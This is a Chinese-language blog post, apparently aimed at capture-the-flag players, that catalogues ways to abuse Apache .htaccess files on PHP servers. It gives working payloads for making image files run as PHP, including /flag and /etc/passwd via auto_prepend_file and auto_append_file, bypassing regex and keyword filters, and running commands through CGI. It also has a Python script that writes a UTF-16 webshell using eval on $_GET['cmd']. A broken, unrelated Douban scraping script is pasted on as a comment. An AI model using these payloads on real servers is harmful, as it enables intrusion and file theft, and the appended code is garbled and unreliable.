.htaccess总结
.htaccess 文件提供了针对目录改变配置的方法, 即在一个特定的文档目录中放置一个包含一条或多条指令的文件, 以作用于此目录及其所有子目录。作为用户,所能使用的命令受到限制。管理员可以通过 Apache 的 AllowOverride 指令来设置。
.htaccess 文件中的配置指令作用于 .htaccess 文件所在的目录及其所有子目录,但是很重要的、需要注意的是,其上级目录也可能会有 .htaccess 文件,而指令是按查找顺序依次生效的,所以一个特定目录下的 .htaccess 文件中的指令可能会覆盖其上级目录中的 .htaccess 文件中的指令,即子目录中的指令会覆盖父目录或者主配置文件中的指令。
启动 .htaccess,需要在服务器的主配置文件(如 apache2.conf)将 AllowOverride 设置为 All。
也可以将 .htaccess 修改为其他名  AccessFileName .config
语法
.htaccess 中有 # 单行注释符, 且支持 \拼接上下两行。
SetHandler
强制所有匹配的文件被一个指定的处理器处理
#语法
SetHandler handler-name|None#此时当前目录及其子目录下所有文件都会被当做 `php` 解析
SetHandler application/x-httpd-php#apache的服务器状态信息(默认关闭),可以查看所有访问本站的记录
#访问任意不存在的文件,加参数 ?refresh=5 来实现每隔 5s 自动刷新
SetHandler server-status ](http://blog.187.ink/usr/uploads/2024/01/1481615574.png)
AddHandler
在文件扩展名与特定的处理器之间建立映射
#语法
AddHandler handler-name extension [extension] ...AddHandler cgi-script .xxx将扩展名为 .xxx 的文件作为 CGI 脚本来处理
AddType
将给定的文件扩展名映射到指定的内容类型
#语法
AddType media-type extension [extension] ...将以 .png .jpg .gif 多个后缀当做 php 解析
AddType application/x-httpd-php png  jpg gifphp_value
当使用 PHP 作为 Apache 模块时,也可以用 Apache 的配置文件(例如 httpd.conf)和 .htaccess 文件中的指令来修改 php 的配置设定。需要有AllowOverride Options 或AllowOverride All 权限才可以。
php_value 设定指定的值。要清除先前设定的值,把 value 设为 none。不要用 php_value 设定布尔值。应该用 php_flag。
#用法
php_value name value ](http://blog.187.ink/usr/uploads/2024/01/2349970166.png)
.htaccess 只能用于 PHP_INI_ALL 或 PHP_INI_PERDIR 类型的指令。
查看php.ini 配置选项列表,寻找指令
文件包含
auto_prepend_file:在主文件解析之前自动解析包含的文件
auto_append_file:在主文件解析后自动解析包含的文件
php_value auto_prepend_file images.png绕过preg_match
php_value pcre.backtrack_limit 0
php_value pcre.jit 0设置正则回朔次数来使正则匹配的结果返回为 false 而不是0 ,从而可以绕过正则。
或者通过base64等编码的方式绕过。
php_flag
php_flag 用来设定布尔值的 php 配置指令
php_flag name on|off官方--https://www.php.net/manual/zh/ini.list.php
可以将 engine 设置为 0,在本目录和子目录中关闭 php 解析,造成源码泄露
php_flag engine 0利用
文件头绕过
.htaccess文件的注释符为#
所以可以在在前面或者后面加上
#define width 1
#define height 1关键字绕过
如果ban了关键字,比如php,file啥的
可以用\
php_value auto_prepend_fil\
e .htaccess
#<?php system(‘cat /fla?’);?>\最后一个\可以解决结尾的脏数据
403拒绝访问
<Files ~ "^.ht">
 Require all granted
 Order allow,deny
 Allow from all
</Files>.htaccess包含
#自己包含(.htaccess中即可查看flag)
#define width 1
#define height 1
<Files ~ "^.ht">
 Require all granted
 Order allow,deny
 Allow from all
</Files>
SetHandler application/x-httpd-php
php_value auto_append_file "php://filter/convert.base64-encode/resource=/flag"绕过文件内容检查
AddType application/x-httpd-php .abc 
php_value auto_append_file “php://filter/convert.base64-decode/resource=shell.abc” 
把后缀.abc当作php解析,然后shell.abc的内容用base64解码。比如编码变成PD9waHAgcGhwaW5mbygpOz8+SIZE_HEADER = b"\n\n#define width 1337\n#define height 1337\n\n"
def generate_php_file(filename, script):
    phpfile = open(filename, 'wb')
    phpfile.write(script.encode('utf-16be'))
    phpfile.write(SIZE_HEADER)
    phpfile.close()
def generate_htacess():
    htaccess = open('.htaccess', 'wb')
    htaccess.write(SIZE_HEADER)
    htaccess.write(b'AddType application/x-httpd-php .south\n')
    htaccess.write(b'php_value zend.multibyte 1\n')
    htaccess.write(b'php_value zend.detect_unicode 1\n')
    htaccess.write(b'php_value display_errors 1\n')
    htaccess.close()
generate_htacess()
generate_php_file("webshell.south", "<?php eval($_GET['cmd']); die(); ?>")文件包含
php_value auto_prepend_file /etc/passwd
php_value auto_append_file /etc/passwd
php_value auto_append_file data://text/plain;base64,PD9waHAgcGhwaW5mbygpOw==
#php_value auto_append_file data://text/plain,%3C%3Fphp+phpinfo%28%29%3B或者直接包含。htaccess
php_value auto_append_file .htaccess
#<?php phpinfo();源码泄露
利用 php_flag 将 engine 设置为 0,在本目录和子目录中关闭 php 解析,造成源码泄露
php_flag engine 0CGI&FastCGI
CGI
apache 配置文件中有
LoadModule cgi_module modules/mod_cgi.so#.htaccess
Options ExecCGI #允许CGI执行
AddHandler cgi-script .xx #将xx后缀名的文件,当做CGI程序进行解析
#ce.xx
#! /bin/bash
echo Content-type: text/html
echo ""
cat /flag或者win
#!C:/Windows/System32/cmd.exe /k start calc.exe
6FastCGI
apache 配置文件中有
LoadModule fcgid_module modules/mod_fcgid.so.htaccess
Options +ExecCGI
AddHandler fcgid-script .xx
FcgidWrapper "C:/Windows/System32/cmd.exe /k start calc.exe" .xxxx随便
1 条评论
from bs4 import BeautifulSoup
import re #正则表达式,解析数据
import urllib.request,urllib.error # 指定URL获取网页数据
import xlwt #进行excel操作
import sqlite3 #进行sqlite数据库操作
def main():
baseurl="https://movie.douban.com/top250?start="
datalist=getData(baseurl) #1.爬取网页
# 1.爬取网页
findLink=re.compile(r'') #创建正则表达式对象,表示规则(字符串的模式)
def getData(baseurl):
datalist = []
for i in range(0, 1): # 调用获取页面信息的函数10次
url = baseurl + str(i * 25)
#print(url)
html = askURL(url) # 保存获取到的网页源码
print(html)
# 2.逐一解析数据
soup = BeautifulSoup(html, "html.parser")
for item in soup.find_all('div', class_="item"): # 查找符合要求的字符串,形成列表
#print(item)
data = [] # 保存一部电影的所有信息
item = str(item) # 转换成字符串,以便后面用正则表达式提取指定内容
link = re.findall(findLink, item)[0] # re库通过正侧表达式来查找指定的字符串,[0]表示第一个元素
#print(link)
data.append(link) # 添加链接
# print(data)
datalist.append(data) # 添加相关内容
return datalist
# 得到指定的URL网页内容
def askURL(url):
# 模拟浏览器头部,向服务器发送消息
head = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.82 Safari/537.36"} # 用户代理,告诉服务器,请求方是什么样的浏览器,即可以接收什么样的文件
#head={}
request = urllib.request.Request(url=url, headers=head)
html = ""
try:
response = urllib.request.urlopen(request)
html = response.read().decode("utf-8")
# print(html)
except urllib.error.URLError as e:
if hasattr(e, "code"):
print(e.code)
if hasattr(e, "reason"):
print(e.reason)
return html
# Press the green button in the gutter to run the script.
if __name__ == '__main__':
main()